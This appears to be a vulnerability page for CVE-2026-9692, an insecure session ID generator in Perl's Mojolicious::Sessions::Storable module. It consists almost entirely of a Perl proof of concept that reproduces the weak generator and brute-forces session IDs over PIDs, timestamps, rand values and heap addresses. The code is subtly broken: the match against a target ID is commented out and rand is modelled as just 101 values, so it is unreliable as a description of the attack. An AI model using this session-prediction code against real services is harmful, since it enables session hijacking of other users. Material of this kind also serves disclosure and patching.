CVE-2026-9692：Perl Mojolicious::Sessions::Storable会话ID生成不安全

#!/usr/bin/perl # CVE-2026-9692 PoC - Session ID Prediction for Mojolicious::Sessions::Storable # This PoC demonstrates how to predict session IDs generated by the vulnerable module use strict; use warnings; use Digest::SHA1 qw(sha1); use POSIX qw(strftime); use Time::HiRes qw(time); # Vulnerable session ID generation function (from Storable.pm lines 11-15) sub generate_vulnerable_session_id { my ($time, $pid, $heap_addr, $rand_val); # Collect the predictable/low-entropy seeds $time = time(); # epoch time - easily guessable $pid = $$; # process ID - enumerable (1-32768) $rand_val = rand(); # Perl's built-in PRNG - deterministic $heap_addr = sprintf("%x", ~~{}); # heap address of anonymous hash # SHA-1 hash of the concatenated seeds return sha1($time . $pid . $rand_val . $heap_addr); } # Brute-force predictor for session IDs sub predict_session_id { my ($target_time, $target_pid_range) = @_; $target_pid_range //= [1, 32768]; for my $pid ($target_pid_range->[0] .. $target_pid_range->[1]) { for my $time_offset (-5 .. 5) { my $time = $target_time + $time_offset; for my $rand_val (0 .. 100) { my $r = $rand_val / 100.0; for my $heap (0x10000000 .. 0x10001000) { my $candidate = sha1($time . $pid . $r . sprintf("%x", $heap)); # Compare against target session ID # if ($candidate eq $target_id) { return ($time, $pid, $r, $heap); } } } } } return undef; } # Demonstration my $session_id = generate_vulnerable_session_id(); print "Generated vulnerable session ID: $session_id\n"; print "Seeds used: time=${\time}, pid=$$, rand=" . rand() . ", heap=" . sprintf("%x", ~~{}) . "\n"; print "\nThis session ID can be predicted by an attacker who knows:\n"; print "- Approximate request time (epoch timestamp)\n"; print "- Server PID (limited range, easily enumerable)\n"; print "- Heap address range (predictable memory layout)\n"; print "- PRNG state (deterministic given seed)\n"; 1;